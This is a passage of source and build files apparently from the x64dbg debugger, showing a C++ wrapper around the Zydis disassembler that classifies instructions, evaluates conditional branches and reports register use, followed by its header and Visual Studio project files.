result.find("]", found); auto ripStr = result.substr(found + 1, end - found - 1); uint64_t offset; sscanf_s(ripStr.substr(ripStr.rfind(' ') + 1).c_str(), "%llX", &offset); auto dest = ripPlus ? (wVA + offset + Size()) : (wVA - offset + Size()); char buf[20]; sprintf_s(buf, "0x%llx", dest); result.replace(found + 1, ripStr.length(), buf); } } #endif //_WIN64 return result; } int Zydis::OpCount() const { if(!Success()) return 0; return mVisibleOpCount; } const ZydisDecodedOperand & Zydis::operator[](int index) const { if(!Success() || index < 0 || index >= OpCount()) DebugBreak(); return mInstr.operands[index]; } static bool isSafe64NopRegOp(const ZydisDecodedOperand & op) { #ifdef _WIN64 if(op.type != ZYDIS_OPERAND_TYPE_REGISTER) return true; //a non-register is safe switch(op.reg.value) { case ZYDIS_REGISTER_EAX: case ZYDIS_REGISTER_EBX: case ZYDIS_REGISTER_ECX: case ZYDIS_REGISTER_EDX: case ZYDIS_REGISTER_EBP: case ZYDIS_REGISTER_ESP: case ZYDIS_REGISTER_ESI: case ZYDIS_REGISTER_EDI: case ZYDIS_REGISTER_R8D: case ZYDIS_REGISTER_R9D: case ZYDIS_REGISTER_R10D: case ZYDIS_REGISTER_R11D: case ZYDIS_REGISTER_R12D: case ZYDIS_REGISTER_R13D: case ZYDIS_REGISTER_R14D: case ZYDIS_REGISTER_R15D: return false; //32 bit register modifications clear the high part of the 64 bit register default: return true; //all other registers are safe } #else return true; #endif //_WIN64 } bool Zydis::IsNop() const { if(!Success()) return false; const auto & ops = mInstr.operands; switch(mInstr.mnemonic) { case ZYDIS_MNEMONIC_NOP: case ZYDIS_MNEMONIC_PAUSE: case ZYDIS_MNEMONIC_FNOP: // nop return true; case ZYDIS_MNEMONIC_MOV: case ZYDIS_MNEMONIC_CMOVB: case ZYDIS_MNEMONIC_CMOVBE: case ZYDIS_MNEMONIC_CMOVL: case ZYDIS_MNEMONIC_CMOVLE: case ZYDIS_MNEMONIC_CMOVNB: case ZYDIS_MNEMONIC_CMOVNBE: case ZYDIS_MNEMONIC_CMOVNL: case ZYDIS_MNEMONIC_CMOVNLE: case ZYDIS_MNEMONIC_CMOVNO: case ZYDIS_MNEMONIC_CMOVNP: case ZYDIS_MNEMONIC_CMOVNS: case ZYDIS_MNEMONIC_CMOVNZ: case ZYDIS_MNEMONIC_CMOVO: case ZYDIS_MNEMONIC_CMOVP: case ZYDIS_MNEMONIC_CMOVS: case ZYDIS_MNEMONIC_CMOVZ: case ZYDIS_MNEMONIC_MOVAPS: case ZYDIS_MNEMONIC_MOVAPD: case ZYDIS_MNEMONIC_MOVUPS: case ZYDIS_MNEMONIC_MOVUPD: case ZYDIS_MNEMONIC_XCHG: // mov edi, edi return ops[0].type == ZYDIS_OPERAND_TYPE_REGISTER && ops[1].type == ZYDIS_OPERAND_TYPE_REGISTER && ops[0].reg.value == ops[1].reg.value && isSafe64NopRegOp(ops[0]); case ZYDIS_MNEMONIC_LEA: { // lea eax, [eax + 0] auto reg = ops[0].reg.value; auto mem = ops[1].mem; return ops[0].type == ZYDIS_OPERAND_TYPE_REGISTER && ops[1].type == ZYDIS_OPERAND_TYPE_REGISTER && mem.disp.value == 0 && ((mem.index == ZYDIS_REGISTER_NONE && mem.base == reg) || (mem.index == reg && mem.base == ZYDIS_REGISTER_NONE && mem.scale == 1)) && isSafe64NopRegOp(ops[0]); } case ZYDIS_MNEMONIC_JB: case ZYDIS_MNEMONIC_JBE: case ZYDIS_MNEMONIC_JCXZ: case ZYDIS_MNEMONIC_JECXZ: case ZYDIS_MNEMONIC_JKNZD: case ZYDIS_MNEMONIC_JKZD: case ZYDIS_MNEMONIC_JL: case ZYDIS_MNEMONIC_JLE: case ZYDIS_MNEMONIC_JMP: case ZYDIS_MNEMONIC_JNB: case ZYDIS_MNEMONIC_JNBE: case ZYDIS_MNEMONIC_JNL: case ZYDIS_MNEMONIC_JNLE: case ZYDIS_MNEMONIC_JNO: case ZYDIS_MNEMONIC_JNP: case ZYDIS_MNEMONIC_JNS: case ZYDIS_MNEMONIC_JNZ: case ZYDIS_MNEMONIC_JO: case ZYDIS_MNEMONIC_JP: case ZYDIS_MNEMONIC_JRCXZ: case ZYDIS_MNEMONIC_JS: case ZYDIS_MNEMONIC_JZ: // jmp $0 return ops[0].type == ZYDIS_OPERAND_TYPE_IMMEDIATE && ops[0].imm.value.u == this->Address() + this->Size(); case ZYDIS_MNEMONIC_SHL: case ZYDIS_MNEMONIC_SHR: case ZYDIS_MNEMONIC_ROL: case ZYDIS_MNEMONIC_ROR: case ZYDIS_MNEMONIC_SAR: // shl eax, 0 return ops[1].type == ZYDIS_OPERAND_TYPE_IMMEDIATE && ops[1].imm.value.u == 0 && isSafe64NopRegOp(ops[0]); case ZYDIS_MNEMONIC_SHLD: case ZYDIS_MNEMONIC_SHRD: // shld eax, ebx, 0 return ops[2].type == ZYDIS_OPERAND_TYPE_IMMEDIATE && ops[2].imm.value.u == 0 && isSafe64NopRegOp(ops[0]) && isSafe64NopRegOp(ops[1]); default: return false; } } bool Zydis::IsPushPop() const { if(!Success()) return false; switch(mInstr.meta.category) { case ZYDIS_CATEGORY_PUSH: case ZYDIS_CATEGORY_POP: return true; default: return false; } } bool Zydis::IsUnusual() const { if(!Success()) return false; auto id = mInstr.mnemonic; return mInstr.attributes & ZYDIS_ATTRIB_IS_PRIVILEGED || mInstr.meta.category == ZYDIS_CATEGORY_IO || mInstr.meta.category == ZYDIS_CATEGORY_IOSTRINGOP || mInstr.meta.category == ZYDIS_CATEGORY_RDWRFSGS || mInstr.meta.category == ZYDIS_CATEGORY_SGX || mInstr.meta.category == ZYDIS_CATEGORY_INTERRUPT || id == ZYDIS_MNEMONIC_SYSCALL || id == ZYDIS_MNEMONIC_SYSENTER || id == ZYDIS_MNEMONIC_CPUID || id == ZYDIS_MNEMONIC_RDTSC || id == ZYDIS_MNEMONIC_RDTSCP || id == ZYDIS_MNEMONIC_RDRAND || id == ZYDIS_MNEMONIC_RDSEED || id == ZYDIS_MNEMONIC_RDPID || id == ZYDIS_MNEMONIC_RDPKRU // || id == ZYDIS_MNEMONIC_RDPRU || id == ZYDIS_MNEMONIC_UD1 || id == ZYDIS_MNEMONIC_UD2 || id == ZYDIS_MNEMONIC_VMCALL || id == ZYDIS_MNEMONIC_VMFUNC || id == ZYDIS_MNEMONIC_OUTSB || id == ZYDIS_MNEMONIC_OUTSW || id == ZYDIS_MNEMONIC_OUTSD || id == ZYDIS_MNEMONIC_WRPKRU; } std::string Zydis::Mnemonic() const { if(!Success()) return "???"; return ZydisMnemonicGetStringHook(mInstr.mnemonic); } const char* Zydis::MemSizeName(int size) const { switch(size) { case 1: return "byte"; case 2: return "word"; case 4: return "dword"; case 6: return "fword"; case 8: return "qword"; case 10: return "tword"; case 14: return "m14"; case 16: return "xmmword"; case 28: return "m28"; case 32: return "yword"; case 64: return "zword"; default: return nullptr; } } size_t Zydis::BranchDestination() const { if(!Success() || mInstr.operands[0].type != ZYDIS_OPERAND_TYPE_IMMEDIATE /*|| !mInstr.operands[0].imm.isRelative HACKED*/) return 0; return size_t(mInstr.operands[0].imm.value.u); } size_t Zydis::ResolveOpValue(int opindex, const std::function<size_t(ZydisRegister)> & resolveReg) const { size_t dest = 0; const auto & op = mInstr.operands[opindex]; switch(op.type) { case ZYDIS_OPERAND_TYPE_IMMEDIATE: dest = size_t(op.imm.value.u); break; case ZYDIS_OPERAND_TYPE_REGISTER: dest = resolveReg(op.reg.value); break; case ZYDIS_OPERAND_TYPE_MEMORY: dest = size_t(op.mem.disp.value); if(op.mem.base == ZYDIS_REGISTER_RIP) //rip-relative dest += Address() + Size(); else dest += resolveReg(op.mem.base) + resolveReg(op.mem.index) * op.mem.scale; break; default: break; } return dest; } Zydis::VectorElementType Zydis::getVectorElementType(int opindex) const { if(!Success()) return Zydis::VETDefault; if(opindex >= mInstr.operandCount) return Zydis::VETDefault; const auto & op = mInstr.operands[opindex]; switch(op.elementType) { case ZYDIS_ELEMENT_TYPE_FLOAT32: return Zydis::VETFloat32; case ZYDIS_ELEMENT_TYPE_FLOAT64: return Zydis::VETFloat64; default: return Zydis::VETDefault; } } bool Zydis::IsBranchGoingToExecute(size_t cflags, size_t ccx) const { if(!Success()) return false; return IsBranchGoingToExecute(mInstr.mnemonic, cflags, ccx); } bool Zydis::IsBranchGoingToExecute(ZydisMnemonic id, size_t cflags, size_t ccx) { auto bCF = (cflags & (1 << 0)) != 0; auto bPF = (cflags & (1 << 2)) != 0; auto bZF = (cflags & (1 << 6)) != 0; auto bSF = (cflags & (1 << 7)) != 0; auto bOF = (cflags & (1 << 11)) != 0; switch(id) { case ZYDIS_MNEMONIC_CALL: case ZYDIS_MNEMONIC_JMP: case ZYDIS_MNEMONIC_RET: return true; case ZYDIS_MNEMONIC_JNB: //jump short if above or equal return !bCF; case ZYDIS_MNEMONIC_JNBE: //jump short if above return !bCF && !bZF; case ZYDIS_MNEMONIC_JBE: //jump short if below or equal/not above return bCF || bZF; case ZYDIS_MNEMONIC_JB: //jump short if below/not above nor equal/carry return bCF; case ZYDIS_MNEMONIC_JCXZ: //jump short if ecx register is zero case ZYDIS_MNEMONIC_JECXZ: //jump short if ecx register is zero case ZYDIS_MNEMONIC_JRCXZ: //jump short if rcx register is zero return ccx == 0; case ZYDIS_MNEMONIC_JZ: //jump short if equal return bZF; case ZYDIS_MNEMONIC_JNL: //jump short if greater or equal return bSF == bOF; case ZYDIS_MNEMONIC_JNLE: //jump short if greater return !bZF && bSF == bOF; case ZYDIS_MNEMONIC_JLE: //jump short if less or equal/not greater return bZF || bSF != bOF; case ZYDIS_MNEMONIC_JL: //jump short if less/not greater return bSF != bOF; case ZYDIS_MNEMONIC_JNZ: //jump short if not equal/not zero return !bZF; case ZYDIS_MNEMONIC_JNO: //jump short if not overflow return !bOF; case ZYDIS_MNEMONIC_JNP: //jump short if not parity/parity odd return !bPF; case ZYDIS_MNEMONIC_JNS: //jump short if not sign return !bSF; case ZYDIS_MNEMONIC_JO: //jump short if overflow return bOF; case ZYDIS_MNEMONIC_JP: //jump short if parity/parity even return bPF; case ZYDIS_MNEMONIC_JS: //jump short if sign return bSF; case ZYDIS_MNEMONIC_LOOP: //decrement count; jump short if ecx!=0 return ccx != 1; case ZYDIS_MNEMONIC_LOOPE: //decrement count; jump short if ecx!=0 and zf=1 return ccx != 1 && bZF; case ZYDIS_MNEMONIC_LOOPNE: //decrement count; jump short if ecx!=0 and zf=0 return ccx != 1 && !bZF; default: return false; } } bool Zydis::IsConditionalGoingToExecute(size_t cflags, size_t ccx) const { if(!Success()) return false; return IsConditionalGoingToExecute(mInstr.mnemonic, cflags, ccx); } bool Zydis::IsConditionalGoingToExecute(ZydisMnemonic id, size_t cflags, size_t ccx) { auto bCF = (cflags & (1 << 0)) != 0; auto bPF = (cflags & (1 << 2)) != 0; auto bZF = (cflags & (1 << 6)) != 0; auto bSF = (cflags & (1 << 7)) != 0; auto bOF = (cflags & (1 << 11)) != 0; switch(id) { case ZYDIS_MNEMONIC_CMOVNBE: //conditional move - above/not below nor equal return !bCF && !bZF; case ZYDIS_MNEMONIC_CMOVNB: //conditional move - above or equal/not below/not carry return !bCF; case ZYDIS_MNEMONIC_CMOVB: //conditional move - below/not above nor equal/carry return bCF; case ZYDIS_MNEMONIC_CMOVBE: //conditional move - below or equal/not above return bCF || bZF; case ZYDIS_MNEMONIC_CMOVZ: //conditional move - equal/zero return bZF; case ZYDIS_MNEMONIC_CMOVNLE: //conditional move - greater/not less nor equal return !bZF && bSF == bOF; case ZYDIS_MNEMONIC_CMOVNL: //conditional move - greater or equal/not less return bSF == bOF; case ZYDIS_MNEMONIC_CMOVL: //conditional move - less/not greater nor equal return bSF != bOF; case ZYDIS_MNEMONIC_CMOVLE: //conditional move - less or equal/not greater return bZF || bSF != bOF; case ZYDIS_MNEMONIC_CMOVNZ: //conditional move - not equal/not zero return !bZF; case ZYDIS_MNEMONIC_CMOVNO: //conditional move - not overflow return !bOF; case ZYDIS_MNEMONIC_CMOVNP: //conditional move - not parity/parity odd return !bPF; case ZYDIS_MNEMONIC_CMOVNS: //conditional move - not sign return !bSF; case ZYDIS_MNEMONIC_CMOVO: //conditional move - overflow return bOF; case ZYDIS_MNEMONIC_CMOVP: //conditional move - parity/parity even return bPF; case ZYDIS_MNEMONIC_CMOVS: //conditional move - sign return bSF; case ZYDIS_MNEMONIC_FCMOVBE: //fp conditional move - below or equal return bCF || bZF; case ZYDIS_MNEMONIC_FCMOVB: //fp conditional move - below return bCF; case ZYDIS_MNEMONIC_FCMOVE: //fp conditional move - equal return bZF; case ZYDIS_MNEMONIC_FCMOVNBE: //fp conditional move - not below or equal return !bCF && !bZF; case ZYDIS_MNEMONIC_FCMOVNB: //fp conditional move - not below return !bCF; case ZYDIS_MNEMONIC_FCMOVNE: //fp conditional move - not equal return !bZF; case ZYDIS_MNEMONIC_FCMOVNU: //fp conditional move - not unordered return !bPF; case ZYDIS_MNEMONIC_FCMOVU: //fp conditional move - unordered return bPF; case ZYDIS_MNEMONIC_SETNBE: //set byte on condition - above/not below nor equal return !bCF && !bZF; case ZYDIS_MNEMONIC_SETNB: //set byte on condition - above or equal/not below/not carry return !bCF; case ZYDIS_MNEMONIC_SETB: //set byte on condition - below/not above nor equal/carry return bCF; case ZYDIS_MNEMONIC_SETBE: //set byte on condition - below or equal/not above return bCF || bZF; case ZYDIS_MNEMONIC_SETZ: //set byte on condition - equal/zero return bZF; case ZYDIS_MNEMONIC_SETNLE: //set byte on condition - greater/not less nor equal return !bZF && bSF == bOF; case ZYDIS_MNEMONIC_SETNL: //set byte on condition - greater or equal/not less return bSF == bOF; case ZYDIS_MNEMONIC_SETL: //set byte on condition - less/not greater nor equal return bSF != bOF; case ZYDIS_MNEMONIC_SETLE: //set byte on condition - less or equal/not greater return bZF || bSF != bOF; case ZYDIS_MNEMONIC_SETNZ: //set byte on condition - not equal/not zero return !bZF; case ZYDIS_MNEMONIC_SETNO: //set byte on condition - not overflow return !bOF; case ZYDIS_MNEMONIC_SETNP: //set byte on condition - not parity/parity odd return !bPF; case ZYDIS_MNEMONIC_SETNS: //set byte on condition - not sign return !bSF; case ZYDIS_MNEMONIC_SETO: //set byte on condition - overflow return bOF; case ZYDIS_MNEMONIC_SETP: //set byte on condition - parity/parity even return bPF; case ZYDIS_MNEMONIC_SETS: //set byte on condition - sign return bSF; default: return true; } } void Zydis::RegInfo(uint8_t regs[ZYDIS_REGISTER_MAX_VALUE + 1]) const { memset(regs, 0, sizeof(uint8_t) * (ZYDIS_REGISTER_MAX_VALUE + 1)); if(!Success() || IsNop()) return; for(int i = 0; i < mInstr.operandCount; ++i) { const auto & op = mInstr.operands[i]; switch(op.type) { case ZYDIS_OPERAND_TYPE_REGISTER: { switch(op.action) { case ZYDIS_OPERAND_ACTION_READ: case ZYDIS_OPERAND_ACTION_CONDREAD: regs[op.reg.value] |= RAIRead; break; case ZYDIS_OPERAND_ACTION_WRITE: case ZYDIS_OPERAND_ACTION_CONDWRITE: regs[op.reg.value] |= RAIWrite; break; case ZYDIS_OPERAND_ACTION_READWRITE: case ZYDIS_OPERAND_ACTION_READ_CONDWRITE: case ZYDIS_OPERAND_ACTION_CONDREAD_WRITE: regs[op.reg.value] |= RAIRead | RAIWrite; break; } regs[op.reg.value] |= op.visibility == ZYDIS_OPERAND_VISIBILITY_HIDDEN ? RAIImplicit : RAIExplicit; } break; case ZYDIS_OPERAND_TYPE_MEMORY: { regs[op.mem.segment] |= RAIRead | RAIExplicit; if(op.mem.base != ZYDIS_REGISTER_NONE) regs[op.mem.base] |= RAIRead | RAIExplicit; if(op.mem.index != ZYDIS_REGISTER_NONE) regs[op.mem.index] |= RAIRead | RAIExplicit; } break; default: break; } } } const char* Zydis::FlagName(ZydisCPUFlag flag) const { switch(flag) { case ZYDIS_CPUFLAG_CF: return "CF"; case ZYDIS_CPUFLAG_PF: return "PF"; case ZYDIS_CPUFLAG_AF: return "AF"; case ZYDIS_CPUFLAG_ZF: return "ZF"; case ZYDIS_CPUFLAG_SF: return "SF"; case ZYDIS_CPUFLAG_TF: return "TF"; case ZYDIS_CPUFLAG_IF: return "IF"; case ZYDIS_CPUFLAG_DF: return "DF"; case ZYDIS_CPUFLAG_OF: return "OF"; case ZYDIS_CPUFLAG_IOPL: return "IOPL"; case ZYDIS_CPUFLAG_NT: return "NT"; case ZYDIS_CPUFLAG_RF: return "RF"; case ZYDIS_CPUFLAG_VM: return "VM"; case ZYDIS_CPUFLAG_AC: return "AC"; case ZYDIS_CPUFLAG_VIF: return "VIF"; case ZYDIS_CPUFLAG_VIP: return "VIP"; case ZYDIS_CPUFLAG_ID: return "ID"; case ZYDIS_CPUFLAG_C0: return "C0"; case ZYDIS_CPUFLAG_C1: return "C1"; case ZYDIS_CPUFLAG_C2: return "C2"; case ZYDIS_CPUFLAG_C3: return "C3"; default: return nullptr; } } void Zydis::BytesGroup(uint8_t* prefixSize, uint8_t* opcodeSize, uint8_t* group1Size, uint8_t* group2Size, uint8_t* group3Size) const { if(Success()) { *prefixSize = mInstr.raw.prefixes.count; *group1Size = mInstr.raw.disp.size / 8; *group2Size = mInstr.raw.imm[0].size / 8; *group3Size = mInstr.raw.imm[1].size / 8; *opcodeSize = mInstr.length - *prefixSize - *group1Size - *group2Size - *group3Size; } else { *prefixSize = 0; *opcodeSize = mInstr.length; *group1Size = 0; *group2Size = 0; *group3Size = 0; } }
C/C++
x64dbg-development/src/zydis_wrapper/zydis_wrapper.h
#pragma once #include "Zydis/Zydis.h" #include <functional> #include <string> #define MAX_DISASM_BUFFER 16 class Zydis { public: static void GlobalInitialize(); static void GlobalFinalize(); Zydis(); Zydis(const Zydis & zydis) = delete; ~Zydis(); bool Disassemble(size_t addr, const unsigned char data[MAX_DISASM_BUFFER]); bool Disassemble(size_t addr, const unsigned char* data, int size); bool DisassembleSafe(size_t addr, const unsigned char* data, int size); const ZydisDecodedInstruction* GetInstr() const; bool Success() const; const char* RegName(ZydisRegister reg) const; std::string OperandText(int opindex) const; int Size() const; size_t Address() const; bool IsFilling() const; bool IsUnusual() const; bool IsNop() const; bool IsPushPop() const; ZydisMnemonic GetId() const; std::string InstructionText(bool replaceRipRelative = true) const; int OpCount() const; const ZydisDecodedOperand & operator[](int index) const; std::string Mnemonic() const; const char* MemSizeName(int size) const; size_t BranchDestination() const; size_t ResolveOpValue(int opindex, const std::function<size_t(ZydisRegister)> & resolveReg) const; bool IsBranchGoingToExecute(size_t cflags, size_t ccx) const; static bool IsBranchGoingToExecute(ZydisMnemonic id, size_t cflags, size_t ccx); bool IsConditionalGoingToExecute(size_t cflags, size_t ccx) const; static bool IsConditionalGoingToExecute(ZydisMnemonic id, size_t cflags, size_t ccx); void BytesGroup(uint8_t* prefixSize, uint8_t* opcodeSize, uint8_t* group1Size, uint8_t* group2Size, uint8_t* group3Size) const; enum RegAccessInfo : uint8_t { RAINone = 0, RAIRead = 1 << 0, RAIWrite = 1 << 1, RAIImplicit = 1 << 2, RAIExplicit = 1 << 3 }; void RegInfo(uint8_t info[ZYDIS_REGISTER_MAX_VALUE + 1]) const; const char* FlagName(ZydisCPUFlag flag) const; enum BranchType : uint32_t { // Basic types. BTRet = 1 << 0, BTCall = 1 << 1, BTFarCall = 1 << 2, BTFarRet = 1 << 3, BTSyscall = 1 << 4, // Also sysenter BTSysret = 1 << 5, // Also sysexit BTInt = 1 << 6, BTInt3 = 1 << 7, BTInt1 = 1 << 8, BTIret = 1 << 9, BTCondJmp = 1 << 10, BTUncondJmp = 1 << 11, BTFarJmp = 1 << 12, BTXbegin = 1 << 13, BTXabort = 1 << 14, BTRsm = 1 << 15, BTLoop = 1 << 16, BTJmp = BTCondJmp | BTUncondJmp, // Semantic groups (behaves like XX). BTCallSem = BTCall | BTFarCall | BTSyscall | BTInt, BTRetSem = BTRet | BTSysret | BTIret | BTFarRet | BTRsm, BTCondJmpSem = BTCondJmp | BTLoop | BTXbegin, BTUncondJmpSem = BTUncondJmp | BTFarJmp | BTXabort, BTRtm = BTXabort | BTXbegin, BTFar = BTFarCall | BTFarJmp | BTFarRet, BTAny = std::underlying_type_t<BranchType>(-1) }; bool IsBranchType(std::underlying_type_t<BranchType> bt) const; enum VectorElementType : uint8_t { VETDefault, VETFloat32, VETFloat64, VETInt32, VETInt64 }; VectorElementType getVectorElementType(int opindex) const; // Shortcuts. bool IsRet() const { return IsBranchType(BTRet); } bool IsCall() const { return IsBranchType(BTCall); } bool IsJump() const { return IsBranchType(BTJmp); } bool IsLoop() const { return IsBranchType(BTLoop); } bool IsInt3() const { return IsBranchType(BTInt3); } private: static ZydisDecoder mDecoder; static ZydisFormatter mFormatter; static bool mInitialized; ZydisDecodedInstruction mInstr; char mInstrText[200]; bool mSuccess; uint8_t mVisibleOpCount; };
Visual Studio Solution
x64dbg-development/src/zydis_wrapper/zydis_wrapper.sln
Microsoft Visual Studio Solution File, Format Version 12.00 # Visual Studio 2013 VisualStudioVersion = 12.0.40629.0 MinimumVisualStudioVersion = 10.0.40219.1 Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "zydis_wrapper", "zydis_wrapper.vcxproj", "{3B2C1EE1-FDEC-4D85-BE46-3C6A5EA69883}" EndProject Global GlobalSection(SolutionConfigurationPlatforms) = preSolution Debug|Win32 = Debug|Win32 Debug|x64 = Debug|x64 Release|Win32 = Release|Win32 Release|x64 = Release|x64 EndGlobalSection GlobalSection(ProjectConfigurationPlatforms) = postSolution {3B2C1EE1-FDEC-4D85-BE46-3C6A5EA69883}.Debug|Win32.ActiveCfg = Debug|Win32 {3B2C1EE1-FDEC-4D85-BE46-3C6A5EA69883}.Debug|Win32.Build.0 = Debug|Win32 {3B2C1EE1-FDEC-4D85-BE46-3C6A5EA69883}.Debug|x64.ActiveCfg = Debug|x64 {3B2C1EE1-FDEC-4D85-BE46-3C6A5EA69883}.Debug|x64.Build.0 = Debug|x64 {3B2C1EE1-FDEC-4D85-BE46-3C6A5EA69883}.Release|Win32.ActiveCfg = Release|Win32 {3B2C1EE1-FDEC-4D85-BE46-3C6A5EA69883}.Release|Win32.Build.0 = Release|Win32 {3B2C1EE1-FDEC-4D85-BE46-3C6A5EA69883}.Release|x64.ActiveCfg = Release|x64 {3B2C1EE1-FDEC-4D85-BE46-3C6A5EA69883}.Release|x64.Build.0 = Release|x64 EndGlobalSection GlobalSection(SolutionProperties) = preSolution HideSolutionNode = FALSE EndGlobalSection EndGlobal
Visual C++ Project
x64dbg-development/src/zydis_wrapper/zydis_wrapper.vcxproj
<?xml version="1.0" encoding="utf-8"?> <Project DefaultTargets="Build" ToolsVersion="12.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> <ItemGroup Label="ProjectConfigurations"> <ProjectConfiguration Include="Debug|Win32"> <Configuration>Debug</Configuration> <Platform>Win32</Platform> </ProjectConfiguration> <ProjectConfiguration Include="Debug|x64"> <Configuration>Debug</Configuration> <Platform>x64</Platform> </ProjectConfiguration> <ProjectConfiguration Include="Release|Win32"> <Configuration>Release</Configuration> <Platform>Win32</Platform> </ProjectConfiguration> <ProjectConfiguration Include="Release|x64"> <Configuration>Release</Configuration> <Platform>x64</Platform> </ProjectConfiguration> </ItemGroup> <PropertyGroup Label="Globals"> <ProjectGuid>{3B2C1EE1-FDEC-4D85-BE46-3C6A5EA69883}</ProjectGuid> <RootNamespace>zydis_wrapper</RootNamespace> </PropertyGroup> <Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" /> <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration"> <ConfigurationType>StaticLibrary</ConfigurationType> <UseDebugLibraries>true</UseDebugLibraries> <PlatformToolset>v120_xp</PlatformToolset> <CharacterSet>MultiByte</CharacterSet> </PropertyGroup> <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration"> <ConfigurationType>StaticLibrary</ConfigurationType> <UseDebugLibraries>true</UseDebugLibraries> <PlatformToolset>v120_xp</PlatformToolset> <CharacterSet>MultiByte</CharacterSet> </PropertyGroup> <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration"> <ConfigurationType>StaticLibrary</ConfigurationType> <UseDebugLibraries>false</UseDebugLibraries> <PlatformToolset>v120_xp</PlatformToolset> <WholeProgramOptimization>true</WholeProgramOptimization> <CharacterSet>MultiByte</CharacterSet> </PropertyGroup> <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration"> <ConfigurationType>StaticLibrary</ConfigurationType> <UseDebugLibraries>false</UseDebugLibraries> <PlatformToolset>v120_xp</PlatformToolset> <WholeProgramOptimization>true</WholeProgramOptimization> <CharacterSet>MultiByte</CharacterSet> </PropertyGroup> <Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" /> <ImportGroup Label="ExtensionSettings"> </ImportGroup> <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'"> <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> </ImportGroup> <ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="PropertySheets"> <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> </ImportGroup> <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> </ImportGroup> <ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="PropertySheets"> <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> </ImportGroup> <PropertyGroup Label="UserMacros" /> <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> <TargetExt>.lib</TargetExt> <OutDir>$(ProjectDir)bin\x32\</OutDir> <IntDir>$(Platform)\$(Configuration)\</IntDir> <IncludePath>$(ProjectDir);$(ProjectDir)\zydis\include;$(ProjectDir)\zydis\src;$(IncludePath)</IncludePath> </PropertyGroup> <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'"> <TargetExt>.lib</TargetExt> <OutDir>$(ProjectDir)bin\x64\</OutDir> <IncludePath>$(ProjectDir);$(IncludePath);$(ProjectDir)\zydis\include;$(ProjectDir)\zydis\src</IncludePath> </PropertyGroup> <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'"> <TargetExt>.lib</TargetExt> <OutDir>$(ProjectDir)bin\x32d\</OutDir> <IntDir>$(Platform)\$(Configuration)\</IntDir> <IncludePath>$(ProjectDir);$(ProjectDir)\zydis\include;$(ProjectDir)\zydis\src;$(IncludePath)</IncludePath> </PropertyGroup> <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'"> <TargetExt>.lib</TargetExt> <OutDir>$(ProjectDir)bin\x64d\</OutDir> <IncludePath>$(ProjectDir);$(IncludePath);$(ProjectDir)\zydis\include;$(ProjectDir)\zydis\src</IncludePath> </PropertyGroup> <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'"> <ClCompile> <WarningLevel>Level3</WarningLevel> <Optimization>Disabled</Optimization> <SDLCheck>true</SDLCheck> </ClCompile> <Link> <GenerateDebugInformation>true</GenerateDebugInformation> </Link> </ItemDefinitionGroup> <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'"> <ClCompile> <WarningLevel>Level3</WarningLevel> <Optimization>Disabled</Optimization> <SDLCheck>true</SDLCheck> </ClCompile> <Link> <GenerateDebugInformation>true</GenerateDebugInformation> </Link> </ItemDefinitionGroup> <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> <ClCompile> <WarningLevel>Level3</WarningLevel> <Optimization>MaxSpeed</Optimization> <FunctionLevelLinking>true</FunctionLevelLinking> <IntrinsicFunctions>true</IntrinsicFunctions> <SDLCheck>true</SDLCheck> <WholeProgramOptimization>false</WholeProgramOptimization> </ClCompile> <Link> <GenerateDebugInformation>true</GenerateDebugInformation> <EnableCOMDATFolding>true</EnableCOMDATFolding> <OptimizeReferences>true</OptimizeReferences> </Link> </ItemDefinitionGroup> <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'"> <ClCompile> <WarningLevel>Level3</WarningLevel> <Optimization>MaxSpeed</Optimization> <FunctionLevelLinking>true</FunctionLevelLinking> <IntrinsicFunctions>true</IntrinsicFunctions> <SDLCheck>true</SDLCheck> <WholeProgramOptimization>false</WholeProgramOptimization> </ClCompile> <Link> <GenerateDebugInformation>true</GenerateDebugInformation> <EnableCOMDATFolding>true</EnableCOMDATFolding> <OptimizeReferences>true</OptimizeReferences> </Link> </ItemDefinitionGroup> <ItemGroup> <ClCompile Include="zydis\src\Decoder.c" /> <ClCompile Include="zydis\src\DecoderData.c" /> <ClCompile Include="zydis\src\Formatter.c" /> <ClCompile Include="zydis\src\MetaInfo.c" /> <ClCompile Include="zydis\src\Mnemonic.c" /> <ClCompile Include="zydis\src\Register.c" /> <ClCompile Include="zydis\src\SharedData.c" /> <ClCompile Include="zydis\src\String.c" /> <ClCompile Include="zydis\src\Utils.c" /> <ClCompile Include="zydis\src\Zydis.c" /> <ClCompile Include="zydis_wrapper.cpp" /> 